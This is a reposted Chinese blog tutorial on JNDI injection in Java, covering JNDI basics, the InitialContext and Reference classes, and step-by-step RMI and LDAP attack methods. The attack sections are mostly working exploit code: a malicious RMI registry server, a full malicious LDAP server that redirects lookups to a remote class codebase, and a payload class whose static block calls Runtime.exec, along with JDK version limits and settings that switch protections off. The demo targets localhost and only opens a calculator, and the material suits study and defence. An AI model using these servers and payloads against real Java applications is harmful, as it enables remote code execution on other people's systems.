iis服务器助手广告广告
返回顶部
首页 > 资讯 > 精选 >Java中JNDI注入的实现方法是什么
  • 648
分享到

Java中JNDI注入的实现方法是什么

2023-06-25 14:06:20 648人浏览 独家记忆
摘要

这篇文章主要讲解了“Java中JNDI注入的实现方法是什么”,文中的讲解内容简单清晰,易于学习与理解,下面请大家跟着小编的思路慢慢深入,一起来研究和学习“Java中JNDI注入的实现方法是什么”吧!About JNDI0x01 简

这篇文章主要讲解了“Java中JNDI注入的实现方法是什么”,文中的讲解内容简单清晰,易于学习与理解,下面请大家跟着小编的思路慢慢深入,一起来研究和学习“Java中JNDI注入的实现方法是什么”吧!

About JNDI

0x01 简介

JNDI(Java Naming and Directory Interface)是SUN公司提供的一种标准的Java命名系统接口,JNDI提供统一的客户端api,通过不同的访问提供者接口JNDI服务供应接口(SPI)的实现,由管理者将JNDI API映射为特定的命名服务和目录系统,使得Java应用程序可以和这些命名服务和目录服务之间进行交互。目录服务是命名服务的一种自然扩展。通过调用JNDIAPI应用程序可以定位资源和其他程序对象。JNDIJava EE的重要部分,需要注意的是它并不只是包含了DataSource(JDBC 数据源)JNDI可访问的现有的目录及服务有:DNS、XNam 、Novell目录服务、LDAP(Lightweight Directory Access Protocol轻型目录访问协议)、 CORBA对象服务、文件系统、windows XP/2000/NT/Me/9x的注册表、RMI、DSML v1&v2、NIS。

0x02 JNDI的用途

JNDI(Java Naming and Directory Interface)是一个应用程序设计的API,为开发人员提供了查找和访问各种命名和目录服务的通用、统一的接口,类似JDBC都是构建在抽象层上。现在JNDI已经成为J2EE的标准之一,所有的J2EE容器都必须提供一个JNDI的服务。

0x03 日常使用

其实简单看简介会有点感觉JNDI类似于RMI中的ReGIStry,将其中某一命名服务和相应对象进行绑定,当需要调用这个对象中的方法时,通过将指定的名称作为参数带入lookup去寻找相应对象。比如在开发中经常用到其去加载实现动态加载数据库配置文件,而不用频繁修改代码。

平常使用JNDI注入攻击时常用的就是RMI和LDAP。并且关于这两种协议的使用还有些限制,这也会在本文后面提到。

0x04 JNDI命名和目录服务

Naming Service 命名服务:

命名服务将名称和对象进行关联,提供通过名称找到对象的操作,例如:DNS系统将计算机名和IP地址进行关联、文件系统将文件名和文件句柄进行关联等等。

Directory Service 目录服务:

目录服务是命名服务的扩展,除了提供名称和对象的关联,还允许对象具有属性。目录服务中的对象称之为目录对象。目录服务提供创建、添加、删除目录对象以及修改目录对象属性等操作。

Reference 引用:

在一些命名服务系统中,系统并不是直接将对象存储在系统中,而是保持对象的引用。引用包含了如何访问实际对象的信息。

这个点用到的也比较多,下面会详细讲。

前置知识

主要是一些常用类和常见方法的小结,copy自nice_0e3师傅文章

InitialContext类

构造方法:

InitialContext() 构建一个初始上下文。  InitialContext(boolean lazy) 构造一个初始上下文,并选择不初始化它。  InitialContext(Hashtable<?,?> environment) 使用提供的环境构建初始上下文。 InitialContext initialContext = new InitialContext();

在这jdk里面给的解释是构建初始上下文,其实通俗点来讲就是获取初始目录环境。

常用方法:

bind(Name name, Object obj) 将名称绑定到对象。 list(String name) 枚举在命名上下文中绑定的名称以及绑定到它们的对象的类名。lookup(String name) 检索命名对象。 rebind(String name, Object obj) 将名称绑定到对象,覆盖任何现有绑定。 unbind(String name) 取消绑定命名对象。

Reference类

该类也是在javax.naming的一个类,该类表示对在命名/目录系统外部找到的对象的引用。提供了JNDI中类的引用功能。

构造方法:

Reference(String className)
为类名为“className”的对象构造一个新的引用。
Reference(String className, RefAddr addr)
为类名为“className”的对象和地址构造一个新引用。
Reference(String className, RefAddr addr, String factory, String factoryLocation)
为类名为“className”的对象,对象工厂的类名和位置以及对象的地址构造一个新引用。
Reference(String className, String factory, String factoryLocation)
为类名为“className”的对象以及对象工厂的类名和位置构造一个新引用。

代码:

 String url = "Http://127.0.0.1:8080";        Reference reference = new Reference("test", "test", url);

参数1:className - 远程加载时所使用的类名

参数2:classFactory - 加载的class中需要实例化类的名称

参数3:classFactoryLocation - 提供classes数据的地址可以是file/ftp/http协议

常用方法:

void add(int posn, RefAddr addr) 将地址添加到索引posn的地址列表中。  void add(RefAddr addr) 将地址添加到地址列表的末尾。  void clear() 从此引用中删除所有地址。  RefAddr get(int posn) 检索索引posn上的地址。  RefAddr get(String addrType) 检索地址类型为“addrType”的第一个地址。  Enumeration<RefAddr> getAll() 检索本参考文献中地址的列举。  String getClassName() 检索引用引用的对象的类名。  String getFactoryClassLocation() 检索此引用引用的对象的工厂位置。  String getFactoryClassName() 检索此引用引用对象的工厂的类名。    Object remove(int posn) 从地址列表中删除索引posn上的地址。  int size() 检索此引用中的地址数。  String toString() 生成此引用的字符串表示形式。

JNDI Demo

下面看一段代码,是一段易受JNDI注入攻击的demo

主要是调用的lookup方法中url参数可控,那么可能会导致JNDI注入漏洞的产生。

import javax.naming.InitialContext;import javax.naming.NamingException;public class JNDIDemo {        public void Jndi(String url) throws NamingException {        InitialContext initialContext = new InitialContext();        initialContext.lookup(url);    }}

JNDI+RMI攻击手法

限制条件:

RMI服务中引用远程对象将受本地Java环境限制即本地的java.rmi.server.useCodebaseOnly配置必须为false(允许加载远程对象),如果该值为true则禁止引用远程对象。除此之外被引用的ObjectFactory对象还将受到com.sun.jndi.rmi.object.trustURLCodebase配置限制,如果该值为false(不信任远程引用对象)一样无法调用远程的引用对象。

  • JDK 5U45,JDK 6U45,JDK 7u21,JDK 8u121开始java.rmi.server.useCodebaseOnly默认配置已经改为了true

  • JDK 6u132, JDK 7u122, JDK 8u113开始com.sun.jndi.rmi.object.trustURLCodebase默认值已改为了false

本地测试远程对象引用可以使用如下方式允许加载远程的引用对象:

System.setProperty("java.rmi.server.useCodebaseOnly", "false");System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");

JNDIServer

import javax.naming.InitialContext;import javax.naming.NamingException;public class JNDIServer {    public static void main(String[] args) throws NamingException {        String url = "rmi://127.0.0.1:1099/ExportObject";        InitialContext initialContext = new InitialContext();        initialContext.lookup(url);    }}

JNDIExploitServer

import com.sun.jndi.rmi.registry.ReferenceWrapper;import javax.naming.NamingException;import javax.naming.Reference;import java.rmi.AlreadyBoundException;import java.rmi.RemoteException;import java.rmi.registry.LocateRegistry;import java.rmi.registry.Registry;import java.util.Arrays;public class JNDIExploitServer {    public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {        //创建Registry        Registry registry = LocateRegistry.createRegistry(1099);        String url = "http://127.0.0.1:8080/";        // 实例化一个Reference尝试为远程对象构造一个引用        Reference reference = new Reference("ExploitObject", "ExploitObject", url);        // 强转成ReferenceWrapper,因为Reference并没有继承Remote接口,不能直接注册到Registry中        ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);        registry.bind("ExportObject", referenceWrapper);        System.out.println("Registry&Server Start ...");        //打印别名        System.out.println("Registry List: " + Arrays.toString(registry.list()));    }}

ExploitObject

public class ExploitObject {    static {        try {            Runtime.getRuntime().exec("open -a Calculator");        } catch (IOException e) {            e.printStackTrace();        }    }    public static void main(String[] args) {        System.out.println("Calc Running ...");    }}

先启动恶意的JNDIExploitServer,然后运行JNDIServer,当调用initialContext.lookup(url)方法时,会通过rmi协议寻找ExportObject对应的对象referenceWrapper,而referenceWrapper为远程对象ExploitObject的引用,所以最终实例化的是ExploitObject从而触发静态代码块执行达到任意代码执行的目的。

Java中JNDI注入的实现方法是什么

在此期间遇到了几个坑点,记录一下:

  • JDK的限制,测试环境延用了RMI时的JDK7u17

  • 在编译ExploitObject类时使用的javac版本最好和idea中测试环境版本一致,可以通过cmdl指定jdk版本的javac去编译;且生成的class文件不要带有包名(例如:package com.zh2z3ven.jndi),指定版本javac编译命令:/Library/Java/JavaVirtualMachines/jdk1.7.0_17.jdk/Contents/Home/bin/javac ./main/java/com/zh2z3ven/jndi/ExploitObject.java

JNDI+LDAP攻击手法

这里的限制是在8u191之前

copy一段LDAP的Server端代码

LdapServer

import java.net.InetAddress;import java.net.MalfORMedURLException;import java.net.URL;import javax.net.ServerSocketFactory;import javax.net.SocketFactory;import javax.net.ssl.SSLSocketFactory;import com.unboundid.ldap.listener.InMemoryDirectoryServer;import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;import com.unboundid.ldap.listener.InMemoryListenerConfig;import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;import com.unboundid.ldap.sdk.Entry;import com.unboundid.ldap.sdk.LDAPException;import com.unboundid.ldap.sdk.LDAPResult;import com.unboundid.ldap.sdk.ResultCode;public class LdapServer {    private static final String LDAP_BASE = "dc=example,dc=com";    public static void main(String[] argsx) {        String[] args = new String[]{"http://127.0.0.1:8080/#ExploitObject"};        int port = 7777;        try {            InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);            config.setListenerConfigs(new InMemoryListenerConfig(                    "listen", //$NON-NLS-1$                    InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$                    port,                    ServerSocketFactory.getDefault(),                    SocketFactory.getDefault(),                    (SSLSocketFactory) SSLSocketFactory.getDefault()));            config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[ 0 ])));            InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);            System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$            ds.startListening();        }        catch ( Exception e ) {            e.printStackTrace();        }    }    private static class OperationInterceptor extends InMemoryOperationInterceptor {        private URL codebase;        public OperationInterceptor ( URL cb ) {            this.codebase = cb;        }        @Override        public void processSearchResult ( InMemoryInterceptedSearchResult result ) {            String base = result.getRequest().getBaseDN();            Entry e = new Entry(base);            try {                sendResult(result, base, e);            }            catch ( Exception e1 ) {                e1.printStackTrace();            }        }        protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {            URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));            System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);            e.addAttribute("javaClassName", "foo");            String cbstring = this.codebase.toString();            int refPos = cbstring.indexOf('#');            if ( refPos > 0 ) {                cbstring = cbstring.substring(0, refPos);            }            e.addAttribute("javaCodeBase", cbstring);            e.addAttribute("objectClass", "javaNamingReference"); //$NON-NLS-1$            e.addAttribute("javaFactory", this.codebase.getRef());            result.sendSearchEntry(e);            result.setResult(new LDAPResult(0, ResultCode.SUCCESS));        }    }}

JNDIServer2

public class JNDIServer2 {    public static void main(String[] args) throws NamingException {        String url = "ldap://127.0.0.1:7777/ExploitObject";        InitialContext initialContext = new InitialContext();        initialContext.lookup(url);    }}

ExploitObject

public class ExploitObject {    static {        try {            Runtime.getRuntime().exec("open -a Calculator");        } catch (IOException e) {            e.printStackTrace();        }    }    public static void main(String[] args) {        System.out.println("Calc Running ...");    }}

Java中JNDI注入的实现方法是什么

Java中JNDI注入的实现方法是什么

感谢各位的阅读,以上就是“Java中JNDI注入的实现方法是什么”的内容了,经过本文的学习后,相信大家对Java中JNDI注入的实现方法是什么这一问题有了更深刻的体会,具体使用情况还需要大家实践验证。这里是编程网,小编将为大家推送更多相关知识点的文章,欢迎关注!

--结束END--

本文标题: Java中JNDI注入的实现方法是什么

本文链接: https://www.lsjlt.com/news/305346.html(转载时请注明来源链接)

有问题或投稿请发送至: 邮箱/279061341@qq.com    QQ/279061341

本篇文章演示代码以及资料文档资料下载

下载Word文档到电脑,方便收藏和打印~

下载Word文档
猜你喜欢
  • Java中JNDI注入的实现方法是什么
    这篇文章主要讲解了“Java中JNDI注入的实现方法是什么”,文中的讲解内容简单清晰,易于学习与理解,下面请大家跟着小编的思路慢慢深入,一起来研究和学习“Java中JNDI注入的实现方法是什么”吧!About JNDI0x01 简...
    99+
    2023-06-25
  • Java之JNDI注入的实现
    目录About JNDI0x01 简介0x02 JNDI的用途0x03 日常使用0x04 JNDI命名和目录服务前置知识InitialCont...
    99+
    2022-11-12
  • Java使用JNDI连接数据库的实现方法是什么
    本篇文章为大家展示了Java使用JNDI连接数据库的实现方法是什么,内容简明扼要并且容易理解,绝对能使你眼前一亮,通过这篇文章的详细介绍希望你能有所收获。项目背景在项目中本身使用的SQL Server 数据库,某些功能下需要访问Sybase...
    99+
    2023-06-22
  • Java使用JNDI连接数据库的实现方法
    目录项目背景环境概念数据源与连接池什么是JNDIJNDI优点JDNI在Tomcat中的配置Jar包测试准备JNDI配置全局引用局部引用参考资料项目背景 在项目中本身使用的SQL Se...
    99+
    2022-11-12
  • java实现多行输入的方法是什么
    在Java中实现多行输入的方法有多种,下面列举了其中的两种方法:方法一:使用Scanner类的nextLine()方法```java...
    99+
    2023-09-23
    java
  • Java依赖注入的方式是什么
    这篇“Java依赖注入的方式是什么”文章的知识点大部分人都不太理解,所以小编给大家总结了以下内容,内容详细,步骤清晰,具有一定的借鉴价值,希望大家阅读完这篇文章能有所收获,下面我们一起来看看这篇“Java依赖注入的方式是什么”文章吧。Spr...
    99+
    2023-07-02
  • Spring中bean集合注入的方法是什么
    这篇文章主要讲解了“Spring中bean集合注入的方法是什么”,文中的讲解内容简单清晰,易于学习与理解,下面请大家跟着小编的思路慢慢深入,一起来研究和学习“Spring中bean集合注入的方法是什么”吧!Spring作为项目中不可缺少的底...
    99+
    2023-07-02
  • android依赖注入的实现方式是什么
    Android中依赖注入的实现方式有以下几种:1. 构造函数注入:通过在类的构造函数中传入依赖对象的实例来实现注入。这种方式最为简单...
    99+
    2023-10-09
    android
  • Mock注入的Dubbo bean方法是什么
    这篇文章主要介绍“Mock注入的Dubbo bean方法是什么”,在日常操作中,相信很多人在Mock注入的Dubbo bean方法是什么问题上存在疑惑,小编查阅了各式资料,整理出简单好用的操作方法,希望对大家解答”Mock注入的Dubbo ...
    99+
    2023-06-19
  • SQL注入速查的方法是什么
    本篇内容主要讲解“SQL注入速查的方法是什么”,感兴趣的朋友不妨来看看。本文介绍的方法操作简单快捷,实用性强。下面就让小编来带大家学习“SQL注入速查的方法是什么”吧!0x01 MysqlMysq...
    99+
    2022-10-18
  • sql手工注入的方法是什么
    这篇文章主要介绍“sql手工注入的方法是什么”的相关知识,小编通过实际案例向大家展示操作过程,操作方法简单快捷,实用性强,希望这篇“sql手工注入的方法是什么”文章能帮助大家解决问题。判断注入点1.单引号法...
    99+
    2022-10-19
  • Mybatis对SQL注入的方法是什么
    本篇内容介绍了“Mybatis对SQL注入的方法是什么”的有关知识,在实际案例的操作过程中,不少人都会遇到这样的困境,接下来就让小编带领大家学习一下如何处理这些情况吧!希望大家仔细阅读,能够学有所成!Mybatis聊聊对SQL注入的见解1....
    99+
    2023-06-22
  • Web前端中依赖注入的方法是什么
    本篇内容介绍了“Web前端中依赖注入的方法是什么”的有关知识,在实际案例的操作过程中,不少人都会遇到这样的困境,接下来就让小编带领大家学习一下如何处理这些情况吧!希望大家仔细阅读,能够学有所成!一、什么是IoCIoC 的全称叫做 Inver...
    99+
    2023-06-04
  • java实现webservice的方法是什么
    Java实现WebService的方法主要有以下几种:1. 使用JAX-WS(Java API for XML Web Servic...
    99+
    2023-09-13
    java webservice
  • java实现mapreduce的方法是什么
    Java实现MapReduce的方法是使用Hadoop框架。Hadoop是一个开源的分布式计算框架,其中包含了MapReduce编程...
    99+
    2023-08-26
    java mapreduce
  • JAVA中swing实现托盘的方法是什么
    在JAVA中,可以使用以下步骤来实现托盘功能:1. 导入相关的类和包:```javaimport java.awt.*;import...
    99+
    2023-09-25
    JAVA swing
  • Java中easypoi导入校验的方法是什么
    这篇文章主要讲解了“Java中easypoi导入校验的方法是什么”,文中的讲解内容简单清晰,易于学习与理解,下面请大家跟着小编的思路慢慢深入,一起来研究和学习“Java中easypoi导入校验的方法是什么”吧!一、导入之基础校验现在产品需要...
    99+
    2023-07-05
  • docker环境变量注入的方法是什么
    在Docker中,可以通过以下几种方法注入环境变量: 使用Dockerfile中的ENV指令:在Dockerfile中使用`EN...
    99+
    2023-10-27
    docker
  • mybatis TypeHandler注入spring依赖的方法是什么
    这篇文章主要讲解了“mybatis TypeHandler注入spring依赖的方法是什么”,文中的讲解内容简单清晰,易于学习与理解,下面请大家跟着小编的思路慢慢深入,一起来研究和学习“mybatis TypeHandl...
    99+
    2023-06-29
  • java实现多态的方法是什么
    Java实现多态的方法是通过方法的重写和方法的重载来实现的。方法的重写是指子类重写父类的方法,使得在调用该方法时,根据对象的实际类型...
    99+
    2023-10-26
    java
软考高级职称资格查询
编程网,编程工程师的家园,是目前国内优秀的开源技术社区之一,形成了由开源软件库、代码分享、资讯、协作翻译、讨论区和博客等几大频道内容,为IT开发者提供了一个发现、使用、并交流开源技术的平台。
  • 官方手机版

  • 微信公众号

  • 商务合作